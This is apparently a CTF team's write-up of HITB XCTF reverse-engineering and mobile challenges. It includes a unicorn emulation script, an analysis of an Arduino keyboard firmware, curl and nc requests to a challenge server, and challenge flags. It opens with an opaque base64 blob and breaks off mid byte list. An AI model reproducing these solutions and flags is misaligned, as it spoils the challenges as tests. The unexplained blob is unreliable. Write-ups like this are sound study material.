flag_patt1: HITBXCTF{W0rk_1n_th3_dark_ moliboom_B64 fCsSBjRnfvRqbX1tY2Njb28fMWdnZ2dnZ2dnZ2dnTxAnZnYnSUk7CggLDgUICApJCxIGZ2dnZ2dnZ2dnZmVoZ2dnZGdnZwpnZ2duJ+fnCidnZ24nZ+YK52dnbifn5gqnZ2duJ2flCmdmZ24n5+Ur5ydnD2fnZwxnZ2dMZ+dnYWdnZ2NhIVcRVhFjYxYTFmNgFBMGAAJWY2QGBmNlF2NgFBMGAAJVZmdnZ2ZnYmdnZ2dqZ2dneGdnZ2dnbl9nZ2drJydnbOcnZysnJ2csp6dn5GdmZzjnZ2Y0J6ZneOdnZm5nZ+drJydnbOcnZysnJ2csp6dn5KdmZzjnZ2Y0Z6VneOdnZm5nZ+RrJydnbOcnZysnJ2csp6dn5OdlZzjnZ2Y/J+fieOdnZm5n5+NuJyThbqck4G4nI+9upyTubmei7m7nou1uZ6Hsbueh625noOprJyFnKyciZ3wnZ2duZ+fpa2cnZyvnJmfrJyVnq2ckZ2vmJGcrpiJn6+YjZ6umI2drZSNnfGdlZ25n5+RrpyZnKycgZ3wnZ2dMZ2dmTGfnZ3lnZ2djYzgkOGNgFBMVDgkAY2IEDwYVY2IFHhMCY2VEdC5nZ2dnZ2dnY2I4ODM4Y2UGdHRnZ2dnZ2dnY2A4ODg4IThjZWp0ZGdnZ2dnZ2djbTg4ODg4CDQIV2NlFGNsODg4ODg4DgguC2NlR2NuOB4VEBQDAwNjZVZjajg4ODg4ODg4OCo4OGNpODg4ODg4ODg4OAY4OGNlE2NuOF8ND1RTFVJjZVRjazg4ODg4ODgkJlcIY2USY2A4DhIeXl9jZQpjdTg4ODg4ODg4ODg4ODg4ADg4Y0IHMjgkBgk4Iwg4LhMHRwUeOCofCR44NAYeODMPDhQUFBRHXU5jZQVmZ2dnZ2dnZ2dnX2dnZ2lnZ2dpZ2dnaWdnZ2lnZ2dpZ2dnaWdnZ2lnZ2dpZ2dnaWdnZ2hnZ2doZ2dnaGdnZ2hnZ2doZ2dnaGdnZ2hnZ2doZ2dnaGdnZ3dnZ2d3Z2dnd2dnZ3dnZ2d3Z2dnd2dnZ3dnZ2d3Z2dnd2dnZ3ZnZ2d1Z2dndGdnZ3NnZ2dyZ2dncWdnZ3BnZ2d/Z2dnfmdnZ3xnZ2d8Z2dnfGdnZ3xnZ2d7Z2dne2dnZ3tnZ2d7Z2dne2dnZ3tnZ2d7Z2dne2dnZ3tnZ2d7Z2dne2dnZ3lnZ2d5Z2dneWdnZ3lnZ2d4Z2dnZ2dnZ2ZnZ2diOCIpMWdGZ2dnVWdnZ2dnYn5nZ2drZydnbCcnZy1n52fk52dneOfnZgpnZ2cNpydnQydk5+8nJmdk5mZn+OfnZm7nZ+XrZyZnpWfnZ7jn52e45+dnTadnZkOnZ+frpyZnq2cmZ89nZ2bMZ2dn5GdlZ8xnZ2ZMZ+dnbmdnZ2NkDghjYggXAgljZRVnY2IMAh5WY2IVAgYDY2JNBgsLY2QUVnRnZ2dnZ2dnZ2VnZ2dnZ2ZnZmdnZ2dCZ2dnTmdnZ2dnZWRnZ2dKZ2dnTGdnZkxn52dnZ2dnZmdnZ2dnZmdnZ2dBZ2dnT2dnZ2dnZWNnZ2drZydnT2fnZ0xnZ2dMZ+dnZmdnZ2NjFhMWZmdnZ2dnZ2dnZ2NnZ2dAZ2dnQGdnZ0BnZ2dPZ2dnZ2dnZ2ZnZ2diOCIpMWRnZ2dPZ2dnT2dnZ05nZ2dnZ2dnZmdnZ2I4IikxfmdnZ0RnZ2dEZ2dnRGdnZ0RnZ2dEZ2dnTmdnZ0xnZ2dMZ2dnS2dnZ0tnZ2dLZ2dnS2dnZ0pnZ2dKZ2dnSmdnZ0pnZ2dKZ2dnSmdnZ0lnZ2dJZ2dnSWdnZ0lnZ2dWZ2dnVmdnZ1VnZ2dlZ2dnYgEOCwJiZ2dnfmdnZ2EfBAgDAmFnZ2d+Z2dnZWdnZ2I4IikxbwwCHgEOCwJnU2dnZyNnZ2dnZ2x7Z2dnZmdnYiRnZ2fkJ2dnpOdnZ2SmZ2ckZmZn5CZmZ6TmZmdkpWZnJGVlZ+QlZWdHJ2diJOdlZ+unJWelZ2dn+GdmZkPnZ+elZudnZWVnZDxn5WT952dneeaZGMpnZ2elZ2dmZWbnZ49nZ2aMZ2dnTGfnZ2tnZ2djZQ9jZTNjZVJjZQxjZSBjZTRjZSZjZUxjZRZjZQpjZmNhFwYOFRRmZ2dnZ2dmZ2dnZ1xnZ2cmZ2dnZmdsd2dnZyRnZ2f6Z2dnpCdnZ2TmZ2fGp2bn5WbnZ6umJ2esZqZkZWVnZyVl52XlZedluOZnZTynZmTB55oYDGdnZkxn52diZ2dnY2Z0ZmdnZ2dnZ2d0mJiYmJiYmJhjYBQTFQ4JAGNjFBIFZmdnZ2dnZ2dnZ3dnZ2dbZ2dnWmdnZ1pnZ2daZ2dnWmdnZ1lnZ2dZZ2dnWWdnZ1lnZ2dZZ2dnWWdnZ1lnZ2dZZ2dnWmdnZydnZ2cmZ2dnYWdnZ2UUZ2dnZ3dnZ2dlFWZnZ2d3Z2dna08BCBVHDgkDAh9OY2dnZ2lnZ2drTwEIFUcLDgoOE05jZ2dnaWdnZ2xPAQgVRxQTAhdOY2dnZ2lnZ2dlDmJnZ2dqZ2dnZmdnZ2I4Iikxe2dnZ1JnZ2dSZ2dnUmdnZ1JnZ2dSZ2dnUmdnZ1JnZ2dSZ2dnUmdnZ1JnZ2dSZ2dnUmdnZ1FnZ2dQZ2dnUGdnZ1BnZ2dQZ2dnX2dnZ19nZ2dfZ2dnUGdnZ1BnZ2cmZ2dnJGdnZyRnZ2ckZ2dnJGdnZyNnZ2dvZ2dnZRdrZ2dne2dnZ2UVamdnZ3tnZ2d3TwEIFUcAAgkCFQYTCBVOd2dnZ3FnZ2drTwEIFUcUEwYTAk53Z2dncWdnZ2lPAQgVRwQICRMVCAtOd2dnZ3FnZ2dlDHZnZ2dzZ2dnZRF2Z2dnc2dnZ28VAhECFRQCcGdnZ3tnZ2dmZ2dnYjgiKTFnIWdnZzZnZ2dnZ2lDZ2dna2cnZ3jn52ckJ2dn5OdnZ6ZnZ2RkpmdnJGZmZ+QmZmek5mZnZKVmZyRlZWeHJ2dkZCZlZyvmJWflZudmOGZmZkMnZeflZWdlq6UlZ6xlpGJrpCVnbCQkYSVk52N45GdmdOQkYbjlZ2Z8pmViPeZnZ7mmmxglZmdn5WZnZaVm52dlZWdmPGblZQxmZ2ZMZ+dnaGdnZ2NkBgZjbTMfPRElFi0INGNrIFAENCAKVDIBKTZjZQxjZTdjZSZjZQljZS9jZVRjZmNhFwYOFRRjYBQTFQ4JAGNiBA8GFWNiBR4TAnRlZ2dnZ2dnZ2ZnZ2dnZ2dnZ2dDZ2dnIGdnZyBnZ2cvZ2dnLmdnZy1nZ2ctZ2dnLWdnZy1nZ2ctZ2dnLWdnZy1nZ2ctZ2dnLGdnZytnZ2crZ2dnK2dnZytnZ2cqZ2dnKmdnZypnZ2cqZ2dnKmdnZypnZ2cqZ2dnKmdnZypnZ2cqZ2dnK2dnZytnZ2coZ2dnKGdnZyhnZ2coZ2dnKGdnZyhnZ2c2Z2dnbWdnZ2UGZWdnZ0NnZ2dlBGRnZ2dDZ2dnZQNjZ2dnQ2dnZ2QFBWtnZ2dDZ2dnZQVqZ2dnQ2dnZ3dPAQgVRwACCQIVBhMIFU53Z2dnemdnZ2tPAQgVRxQTBhMCTndnZ2d6Z2dnaU8BCBVHBAgJExUIC053Z2dnemdnZ2U4dmdnZ3xnZ2dlEXZnZ2d8Z2dnZmdnZ2I4IikxZzRnZ2cHZ2dnZmdhf2dnZyRnZ2fr5ydnpWdnZ/jnZ2Zu5+fn6ycnZ6unJ2e45+dnTadnZkNnZefrZyZnqycmZ6znpmZkpmZnJWZnZ7hn52b4J2dnJGdlZ0PnZ+frZyZnpCdlZ/gnZ2YMZ2dmTGfnZ21nZ2d0Z2dnZ2dnZ2djZTZjZBRVY2UXY2EXFQ4JE2NgFBMVDgkAY2ABCBUKBhNjai8uMyU/JDMhHEIUGnRmZ2dnZ2dnZ2NtExUeRwYABg4JZmdnZ2dnZ2dnZ39nZ2czZ2dnMWdnZzFnZ2cxZ2dnMWdnZz5nZ2c+Z2dnPmdnZz5nZ2c+Z2dnPWdnZz1nZ2c9Z2dnPWdnZz1nZ2c9Z2dnPWdnZzxnZ2c8Z2dnOmdnZzpnZ2c6Z2dnOGdnZwdnZ2dlZ2dnZTdnZ2dnf2dnZ2IOFQITZmdnZ39nZ2dmZ2dnYjgiKTFoZ2dnZmdnZ3hnZ2dqZ2dnVWdnZ0ZnZ2cjZ2dnU2dnZzZnZ2chZ2dnB2dnZzRnZ2cEZ2dnBGdnZwRnZ2cEZ2dnZmdnZ28MAh4BDgsCZmdnZ2hnZ2dmZ2dnYjgiKTE=
from unicorn import * from unicorn.x86_const import * import sys map_address = 0 map_size = 0x1000 binary = open('0400_to_0A00.bin', 'rb').read() t = '' for i in xrange(0, 0x100, 0x10): mu = Uc(UC_ARCH_X86, UC_MODE_16) mu.mem_map(map_address, map_size) mu.mem_write(0x400, binary) mu.mem_write(0x131, ''.join(map(chr, range(i, i+0x10)))) mu.mem_write(0x141, '\x10\x00') mu.reg_write(UC_X86_REG_ESP, 0x100) mu.reg_write(UC_X86_REG_EBP, 0x100) mu.emu_start(0x494, 0x4cc) t += str(mu.mem_read(0x131, 0x10)) f = '' for c in '\x25\xA1\x39\x89\xA6\x9D\xD5\xA5\x75\x8D\x4A\x92\xF1\x59\x5E\x91': f += chr(t.index(c))
hex (Reverse)
from Balsn
A arduino challenge, data is in intelhex format. I use helper hex2bin.py
from intexHex python library to generate binary.
First try
Loaded in disassembler with MCU as AVR, you can easily find pattern below keep repeating started from 0x987 (in IDA, or 0x130e in radare2)
ldi r22, 0xXX
ldi r24, 0x77
ldi r25, 0x01
call 0xffa
ldi r22, 0xf4
ldi r23, 0x01
ldi r24, 0x00
ldi r25, 0x00
call 0xbda
ldi r22, 0xXX
ldi r24, 0x77
ldi r25, 0x01
call 0xf62
ldi r22, 0x88
ldi r23, 0x13
ldi r24, 0x00
ldi r25, 0x00
call 0xbda
I dumped all XX
bytes in previous pattern but didn’t figure out how to decode it. So I decided to dig into these functions. It tooks me about half hour to manually decompile fcn.ffa
to following (wrong) psuedo code:
r26 = 0x77 if r22 >= 136: r31 = 0 r30 = r22 & 0x7f mem[0x77+4] |= (1 << r30) r22 = 0 else: r22 + 0x78 if r22 not in mem[0x77+6:0x77+0xc]: # six slots try: slot = mem[0x77+6:0x77+0xc].index(0) except: mem[0x77+3] = 0 mem[0x77+2] = 1 return mem[0x77+6+slot] = r22 fcn_e7e()
I gave up.
Second try
After the third hint Keyboard
is out, I suddenly realized that MCU of Arduino Micro is ATmega32u4, a USB enabled device, rather than common arduino MCU ATmega328p. Everything makes sense now. The structure in 0x77 must be USB keyboard report
which has 6 slot (a obvious sign if you are familar with NKRO or know the difference between PS2 and USB keyboard). Here’s source code from Arduino’s Keyboard library:
size_t Keyboard_::press(uint8_t k) { uint8_t i; if (k >= 136) { // it's a non-printing key (not a modifier) k = k - 136; } else if (k >= 128) { // it's a modifier key _keyReport.modifiers |= (1<<(k-128)); k = 0; } else { // it's a printing key k = pgm_read_byte(_asciimap + k); if (!k) { setWriteError(); return 0; } if (k & 0x80) { // it's a capital letter or other character reached with shift _keyReport.modifiers |= 0x02; // the left shift modifier k &= 0x7F; } } // Add k to the key report only if it's not already present // and if there is an empty slot. if (_keyReport.keys[0] != k && _keyReport.keys[1] != k && _keyReport.keys[2] != k && _keyReport.keys[3] != k && _keyReport.keys[4] != k && _keyReport.keys[5] != k) { for (i=0; i<6; i++) { if (_keyReport.keys[i] == 0x00) { _keyReport.keys[i] = k; break; } } if (i == 6) { setWriteError(); return 0; } } sendReport(&_keyReport); return 1; }
Ahh, fcn.ffa
is Keyboard::_press
!! It turns out that fcn.f62
is Keyboard::_release
and fcn.bda
, which use timer register TCNT0
, is delay
.
Take our previous dump of parameters, convert it to keystroke, and the flag shows up.
$##&:|#| !##| ;&&&&&&$# #$##@|. `%##@; :@#$`
|#| |#| ;#%. !#! .%#| #&#! |#| #&@: :#%.
;#####|.|#| .|####$` #&###|!@%. ;#| |#; |#! :@$` ;#%.`:@%.
|#! |#| `. :@$` ;#&# .%#%. !#| .%##@&##@# :&#! ;#%. :@$` #&$`
|#! |#| `%#####&#.%#!#####;#%`!#@; ;#$` ;##! ;#$` ;#%.` $#$`
|#! |#| .%#@%&@#&# |####&&#%. ;#| !##@@##%` :@#######$. `$##@##! @%.
P.S. I think if you find an Arduino Micro, burn the firmware, plug into PC, then you will get the flag in one hour. No reverse needed.
sbsun (Reverse)
$ curl http://47.75.157.209:9999 34846 $ printf '\xabVJL.\xc9\xcc\xcfS\xb2RrO-q\xcbILW\xaa\x05\x00H!\x06\xd3' | nc -u 47.75.157.209 34846 > flag_bin
s = open('flag_bin', 'rb').read() print(zlib.decompress(s))
HITB{4e773ff1406800017933c9a1c9f14f35}
multicheck (Mobile)
l = [0x8D, 0x8F, 0x93, 0xE6, 0xDD, 0xDD, 0xDA, 0xF0, 0x74, 0xF2, 0x03, 0x6D, 0xC0, 0xD3, 0x07, 0x29, 0x9A, 0x97, 0xB7, 0x3D, 0xD6, 0x0B, 0xBC, 0x53, 0xF4, 0x89, 0x8E, 0x08, 0x21, 0x52, 0xE9, 0x42, 0x35, 0x0D, 0x0B, 0x0C, 0x7D, 0x0E, 0x0F, 0x10, 0x69, 0x44, 0x27, 0x06, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x81, 0x18, 0x1F, 0x20, 0x3D, 0x22, 0x23, 0x24, 0x55, 0x26, 0x27, 0x28, 0x22, 0x2A, 0x2B, 0x2C, 0xCD, 0x2E, 0x2F, 0x30, 0x3B, 0x32, 0x33, 0x34, 0x39, 0x37, 0x37, 0x38, 0x3B, 0x3A, 0x3B, 0x3C, 0xB9, 0x3F, 0x3F, 0x40, 0x4D, 0x42, 0x43, 0x44, 0xD1, 0x47, 0x47, 0x48, 0x48, 0x4A, 0x4B, 0x4C, 0xB9, 0x4F, 0x4F, 0x50, 0x79, 0x57, 0x53, 0x54, 0x41, 0x54, 0x57, 0x58, 0x75, 0x5F, 0x5B, 0x5C, 0x6B, 0x5B, 0x5F, 0x60, 0x5F, 0x67, 0x63, 0x64, 0x24, 0x63, 0x67, 0x68, 0x24, 0x6F, 0x6B, 0x6C, 0x3D, 0x6B, 0x6F, 0x70, 0x25, 0x77, 0x73, 0x74, 0x22, 0x73, 0x77, 0x78, 0x22, 0x7F, 0x7B, 0x7C, 0x1D, 0x7B, 0x7F, 0x80, 0xE6, 0x87, 0x83, 0x84, 0xF3, 0x83, 0x87, 0x88, 0x03, 0x8F, 0x8B, 0x8C, 0x13, 0x8B, 0x8F, 0x90, 0x23, 0x97, 0x93, 0x94, 0x53, 0x93, 0x97, 0x98, 0x50, 0x9F, 0x9B, 0x9C, 0x4C, 0x9B, 0x9F, 0xA0, 0x75, 0xA7, 0xA3, 0xA4, 0x7D, 0xA3, 0xA7, 0xA8, 0x74, 0xAF, 0xAB, 0xAC, 0x4C, 0xAB, 0xAF, 0xB0, 0x54, 0xB7, 0xB3, 0xB4, 0x5D, 0xB3, 0xB7, 0xB8, 0x4A, 0xBF, 0xBB, 0xBC, 0x4B, 0xBB, 0xBF, 0xC0, 0x3C, 0xC7, 0xC3, 0xC4, 0xC0, 0xC0, 0xC7, 0xC8, 0xCB, 0xCA, 0xCB, 0xCC, 0xC9, 0xCE, 0xCF, 0xD0, 0xDB, 0xD2, 0xD3, 0xD4, 0xDE, 0xD6, 0xD7, 0xD8, 0xD5, 0xDA, 0xDB, 0xDC, 0xD0, 0xDE, 0xDF, 0xE0, 0xEF, 0xE2, 0xE3, 0xE4, 0xEA, 0xE6, 0xE7, 0xE8, 0xF8, 0xEA, 0xEB, 0xEC, 0xF9, 0xEE, 0xEF, 0xF0, 0xE4, 0xF2, 0xF3, 0xF4, 0xF0, 0xF6, 0xF7, 0xF8, 0xF8, 0xFA, 0xFB, 0xFC, 0x1D, 0xFA, 0xFF, 0x00, 0x0E, 0x02, 0x03, 0x04, 0x02, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x1D, 0x0E, 0x0F, 0x10, 0x16, 0x12, 0x13, 0x14, 0xFD, 0x12, 0x17, 0x18, 0x0B, 0x1A, 0x1B, 0x1C, 0x15, 0x1E, 0x1F, 0x20, 0xD9, 0x26, 0x23, 0x24, 0x36, 0x26, 0x27, 0x28, 0x21, 0x2A, 0x2B, 0x2C, 0x2D, 0x2B, 0x2F, 0x30, 0x37, 0x32, 0x33, 0x34, 0x3C, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3A, 0x3E, 0x3F, 0x40, 0x48, 0x42, 0x43, 0x44, 0x4D, 0x43, 0x47, 0x48, 0x40, 0x4A, 0x4B, 0x4C, 0x44, 0x4E, 0x4F, 0x50, 0x41, 0x57, 0x53, 0x54, 0x5D, 0x56, 0x57, 0x58, 0x50, 0x5A, 0x5B, 0x5C, 0x41, 0x5B, 0x5F, 0x60, 0x69, 0x62, 0x63, 0x64, 0x6F, 0x66, 0x67, 0x68, 0x4D, 0x6F, 0x6B, 0x6C, 0x6F, 0x6E, 0x65, 0x70, 0x67, 0x72, 0x73, 0x74, 0x77, 0x76, 0x7E, 0x78, 0x61, 0x7A, 0x7B, 0x7C, 0x7F, 0x7E, 0x7E, 0x80, 0x81, 0x82, 0x83, 0x84, 0x87, 0x86, 0x86, 0x88, 0x88, 0x8A, 0x8B, 0x8C, 0x8F, 0x8E, 0x8F, 0x90, 0x87, 0x92, 0x93, 0x94, 0x97, 0x96, 0x91, 0x98, 0x8F, 0x9A, 0x9B, 0x9C, 0x9F, 0x9E, 0x98, 0xA0, 0xB7, 0xA2, 0xA3, 0xA4, 0xA7, 0xA6, 0xAF, 0xA8, 0xBF, 0xAA, 0xAB, 0xAC, 0xAF, 0xAE, 0xA6, 0xB0, 0xA7, 0xB2, 0xB3, 0xB4, 0xB7, 0xB6, 0xB4, 0xB8, 0xA0, 0xBA, 0xBB, 0xBC, 0xBE, 0xBE, 0xBE, 0xC0, 0xC0, 0xC2, 0xC3, 0xC4, 0xC1, 0xC6, 0xC2, 0xC8, 0xD2, 0xCA, 0xCB, 0xCC, 0xC8, 0xCE, 0xCD, 0xD0, 0xC6, 0xD2, 0xD3, 0xD4, 0xD3, 0xD6, 0xD3, 0xD8, 0xC3, 0xDA, 0xDB, 0xDC, 0xDF, 0xDE, 0xDF, 0xE0, 0xE0, 0xE2, 0xE3, 0xE4, 0xE6, 0xE6, 0xE7, 0xE8, 0xE9, 0xEA, 0xEB, 0xEC, 0xEE, 0xEE, 0xEF, 0xF0, 0xF1, 0xF2, 0xF3, 0xF4, 0x85, 0xF0, 0xF7, 0xF8, 0xF9, 0xFA, 0xFB, 0xFC, 0xFC, 0xFE, 0xFF, 0x00, 0x01, 0x02, 0x03, 0x04, 0x0A, 0x00, 0x07, 0x08, 0x3B, 0x0A, 0x0B, 0x0C, 0x1F, 0x4E, 0x2C, 0x10, 0x1B, 0x12, 0x35, 0x14, 0x1A, 0x16, 0x17, 0x18, 0x70, 0x1A, 0x1B, 0x1C, 0x0E, 0x1E, 0x3F, 0x20, 0x02, 0x22, 0x2A, 0x24, 0x03, 0x26, 0x35, 0x28, 0x29, 0x2A, 0x42, 0x2C, 0x2C, 0x2E, 0x21, 0x30, 0x31, 0x31, 0x37, 0x34, 0x31, 0x36, 0x37, 0x38, 0x92, 0x91, 0x90, 0x97, 0xF0, 0xF3, 0xF2, 0x8D, 0xAE, 0xAD, 0xAC, 0xAB, 0x3D, 0x10, 0x73, 0x5A, 0x49, 0x49, 0x4A, 0x4C, 0x6D, 0x4E, 0x4F, 0x50, 0x32, 0x2E, 0x36, 0xBD, 0xDB, 0x07, 0x86, 0x81, 0xC3, 0x15, 0x4D, 0x68, 0x84, 0xFC, 0xE1, 0xD8, 0x04, 0x8C, 0x2A, 0x81, 0x50, 0x9D, 0x49, 0x84, 0x08, 0x61, 0xA3, 0x48, 0x80, 0xA1, 0xFF, 0xC5, 0x70, 0x72, 0x72, 0x74, 0x74, 0x76, 0x77, 0x78, 0x64, 0x7C, 0x7B, 0x7C, 0x79, 0x7E, 0x7F, 0x80, 0xF1, 0x92, 0x8B, 0x84, 0x85, 0x86, 0x89, 0x88, 0x88, 0x8A, 0x8A, 0x8C, 0x8D, 0x8E, 0x8F, 0x90, 0xB3, 0x94, 0x93, 0x94, 0x90, 0x96, 0x97, 0x98, 0xA2, 0x9A, 0x9F, 0x9C, 0x4D, 0x9E, 0x9F, 0xA1, 0xAE, 0xA2, 0xA3, 0xA4, 0xA2, 0xA6, 0xA6, 0xA8, 0xAC, 0xAA, 0xAB, 0xAC, 0x86, 0xA8, 0xAF, 0xB0, 0x98, 0xB2, 0xB3, 0xB4, 0xA7, 0xB7, 0x96, 0xD8, 0x65, 0xBA, 0xBB, 0xB4, 0x64, 0xBE, 0xBF, 0xC8, 0xE0, 0xA0, 0x73, 0xC6, 0xE6, 0xE4, 0xCE, 0xC8, 0x44, 0xC9, 0x84, 0xCF, 0xCF, 0xCF, 0xEE, 0xB3, 0xA0, 0x81, 0xD9, 0xD4, 0xC3, 0xD4, 0xF6, 0xF8, 0xFA, 0xD9, 0xD2, 0xDC, 0xDC, 0xCE, 0xFE, 0xD4, 0xD4, 0xA2, 0xF1, 0xE4, 0x87, 0xE2, 0xE7, 0xE8, 0xFA, 0xEF, 0xCB, 0xEC, 0x9C, 0xAE, 0xEB, 0xF0, 0xF3, 0xA6, 0xFF, 0xF0, 0xE6, 0xF3, 0xFF, 0xF8, 0x88, 0xAF, 0xF1, 0xFC, 0xE9, 0xFD, 0x27, 0x00, 0x01, 0x0A, 0x2B, 0xEA, 0x14, 0x05, 0x07, 0x08, 0x19, 0x0A, 0x0F, 0x0C, 0x0F, 0x0E, 0x0F, 0x10, 0x2B, 0x14, 0x13, 0x14, 0x56, 0x16, 0x17, 0x18, 0x68, 0x3A, 0x1D, 0x1C, 0xC1, 0x1E, 0x13, 0x24, 0x33, 0x22, 0x67, 0x27, 0x21, 0x26, 0x35, 0x38, 0x6D, 0x28, 0x2F, 0x2C, 0x3F, 0x2F, 0x3B, 0x35, 0x88, 0x4B, 0x04, 0xAA, 0x27, 0x36, 0x73, 0x3E, 0x37, 0x3A, 0x29, 0x2C, 0x79, 0x39, 0x31, 0x40, 0x53, 0x62, 0x07, 0x4C, 0x4B, 0x46, 0x55, 0x78, 0x0D, 0x43, 0x45, 0x4C, 0x5F, 0x4E, 0x7A, 0xA0, 0x4D, 0x52, 0xE3, 0x05, 0xB5, 0x5C, 0x55, 0x5C, 0xE9, 0x30, 0xCB, 0x57, 0x5F, 0x5F, 0xE8, 0xDA, 0x80, 0x69, 0x61, 0x61, 0xD5, 0x1D, 0xD0, 0xD2, 0xD9, 0xC9, 0x8B, 0x66, 0x6E, 0x6A, 0xDF, 0xFA, 0xE1, 0x79, 0x70, 0x75, 0xC2, 0xCC, 0x96, 0x73, 0x7A, 0x7F, 0xCB, 0xE7, 0xCA, 0xC4, 0xCF, 0x22, 0x59, 0x82, 0x83, 0x85, 0xAD, 0x63, 0x95, 0x88, 0xC2, 0x89, 0x8F, 0x8C, 0x9F, 0x9E, 0xC4, 0x92, 0x95, 0x92, 0x81, 0x94, 0xE4, 0xB6, 0x92, 0x98, 0x9D, 0x9A, 0x97, 0x9C, 0x8C, 0x9E, 0x9F, 0xA0, 0xA7, 0xA2, 0xA1, 0xA4, 0xA5, 0xA6, 0xA7, 0xA8, 0xE7, 0xAC, 0xAB, 0xAC, 0x9A, 0xAE, 0xAF, 0xB0, 0x90, 0xF2, 0x53, 0xB4, 0xB5, 0xB4, 0x94, 0xB9, 0xB0, 0xBA, 0xA9, 0xBC, 0x9C, 0xAC, 0x8A, 0xE5, 0xEE, 0xC2, 0x1B, 0xC6, 0xC0, 0xC5, 0x83, 0xCB, 0xCD, 0xCA, 0x1E, 0xFF, 0x32, 0xCE, 0x42, 0xE3, 0x9E, 0xD1, 0xD2, 0xD6, 0x0D, 0xD4, 0xD2, 0xDA, 0x9D, 0xD9, 0xDF, 0xDC, 0x3C, 0xDD, 0xDC, 0xE8, 0x34, 0xD1, 0x1C, 0xE4, 0x68, 0xD5, 0xA8, 0xEB, 0xE8, 0xE8, 0x33, 0xEE, 0xE8, 0xEF, 0xAB, 0xF3, 0xF5, 0xF2, 0x12, 0xF7, 0xF6, 0xE6, 0x22, 0xCB, 0x06, 0xFA, 0x76, 0xCF, 0xB2, 0xFD, 0xFE, 0x02, 0x45, 0x00, 0x07, 0x04, 0xE4, 0x04, 0x05, 0x10, 0xDC, 0x28, 0xF4, 0x0C, 0x80, 0x2C, 0x40, 0x12, 0x10, 0x17, 0xCB, 0x14, 0x15, 0x17, 0xCF, 0x1D, 0x1C, 0x1E, 0x33, 0xCD, 0x0C, 0x1F, 0x1F, 0x20, 0x27, 0x22, 0x21, 0x24, 0x24, 0x26, 0x27, 0x28, 0x75, 0x2C, 0x2B, 0x2C, 0x19, 0x2E, 0x2F, 0x30, 0x10, 0x72, 0xD2, 0x34, 0x35, 0x34, 0x14, 0x39, 0x33, 0x3A, 0x29, 0x3C, 0x1C, 0x7C, 0x0A, 0x65, 0x6D, 0x42, 0x9B, 0x46, 0x40, 0x45, 0x0F, 0x4A, 0x4D, 0x48, 0x3A, 0x5C, 0x4F, 0x4E, 0x4D, 0x50, 0x5B, 0x50, 0x8B, 0x57, 0x50, 0x54, 0x1F, 0x5B, 0x5D, 0x59, 0x2A, 0x4C, 0x5F, 0x5E, 0x5C, 0x60, 0x6B, 0x61, 0x83, 0x67, 0x66, 0x6E, 0xD1, 0x5A, 0xB1, 0x69, 0x6E, 0x6D, 0x25, 0x6D, 0x6B, 0x73, 0x00, 0x62, 0x71, 0x74, 0x76, 0x76, 0x7D, 0x7B, 0x99, 0x79, 0x78, 0x6C, 0xCB, 0x4C, 0x37, 0x83, 0x85, 0x87, 0x63, 0x87, 0x86, 0x9E, 0x31, 0xBA, 0xC2, 0x88, 0x8A, 0x8C, 0x55, 0x8E, 0x8F, 0x91, 0x49, 0x97, 0x96, 0x90, 0xBD, 0x42, 0x86, 0x99, 0x9A, 0x9A, 0x9A, 0x9C, 0x9F, 0x9E, 0x9F, 0xA0, 0xCB, 0xA4, 0xA3, 0xA4, 0xAA, 0xA6, 0xA7, 0xA8, 0xC7, 0xBA, 0xA2, 0xAC, 0xAF, 0xAE, 0xA3, 0xB0, 0xC0, 0xA2, 0xB0, 0xB4, 0xB5, 0xB6, 0xBB, 0xB8, 0xDB, 0xBB, 0xBA, 0xBC, 0xCC, 0x9E, 0xB4, 0xC0, 0xD1, 0xC2, 0xC9, 0xC4, 0xCA, 0xC6, 0xC7, 0xC8, 0xC8, 0xCA, 0xCB, 0xCC, 0xCD, 0xCE, 0xCF, 0xD0, 0xD4, 0xD2, 0xD3, 0xD4, 0xD6, 0xD6, 0xD6, 0xD8, 0xDA, 0xDA, 0xDA, 0xDC, 0xDC, 0xDE, 0xDF, 0xE0, 0xE0, 0xE2, 0xE3, 0xE4, 0xE1, 0xE6, 0xE7, 0xE8, 0xEB, 0xEA, 0xEB, 0xEC, 0xE4, 0xEE, 0xE6, 0xF0, 0xF0, 0xF2, 0xF3, 0xF4, 0xFC, 0xF6, 0xF7, 0xF8, 0xFD, 0xFA, 0xFB, 0xFC, 0xF4, 0xFE, 0xFE, 0x00, 0x0B, 0x02, 0x02, 0x04, 0x07, 0x06, 0x07, 0x08, 0x03, 0x0A, 0x0A, 0x0C, 0x0F, 0x0E, 0x0F, 0x10, 0x18, 0x12, 0x12, 0x14, 0x1D, 0x2A, 0x74, 0x74, 0x70, 0x74, 0x72, 0x68, 0x23, 0x1E, 0x19, 0x1C, 0x48, 0x4C, 0x4A, 0x50, 0x1B, 0x26, 0x26, 0x6A, 0x29, 0x20, 0x68, 0x44, 0x48, 0x4D, 0x44, 0x1E, 0x5B, 0x53, 0x45, 0x55, 0x35, 0x37, 0x7E, 0x38, 0x3B, 0x73, 0x79, 0x3C, 0x3C, 0x72, 0x3F, 0x42, 0x0D, 0x0E, 0x43, 0x47, 0x09, 0x0A, 0x0E, 0x48, 0x4C, 0x06, 0x07, 0x05, 0x01, 0x07, 0x4F, 0x5D, 0x1D, 0x31, 0x3C, 0x39, 0x7A, 0x37, 0x78, 0x1B, 0x31, 0x3F, 0x38, 0x37, 0x66, 0x5E, 0x4D, 0x2C, 0x0B, 0x03, 0x15, 0x05, 0x4A, 0x0A, 0x06, 0x06, 0x0E, 0x45, 0x24, 0x0E, 0x07, 0x0B, 0x0C, 0x04, 0x4A, 0x72, 0x61, 0x38, 0x1F, 0x17, 0x01, 0x19, 0x56, 0x16, 0x1A, 0x12, 0x1A, 0x51, 0x2C, 0xF4, 0xF3, 0xEB, 0xED, 0xE3, 0xBE, 0x86, 0x95, 0xC4, 0xE3, 0xEB, 0xFD, 0xED, 0xA2, 0xE2, 0xEE, 0xFE, 0xF6, 0xBD, 0xC0, 0xED, 0xE6, 0xE2, 0xF2, 0xF5, 0xA2, 0x9A, 0x89, 0xD0, 0xF7, 0xFF, 0xE9, 0xC1, 0x8E, 0xD7, 0xD7, 0xCD, 0xC9, 0x89, 0xE6, 0xDA, 0xDB, 0xCB, 0xD2, 0xDF, 0x96, 0xAE, 0xAE, 0xE6, 0xB1, 0xB4, 0xE5, 0xF8, 0xFC, 0xFA, 0xFE, 0xF1, 0xB9, 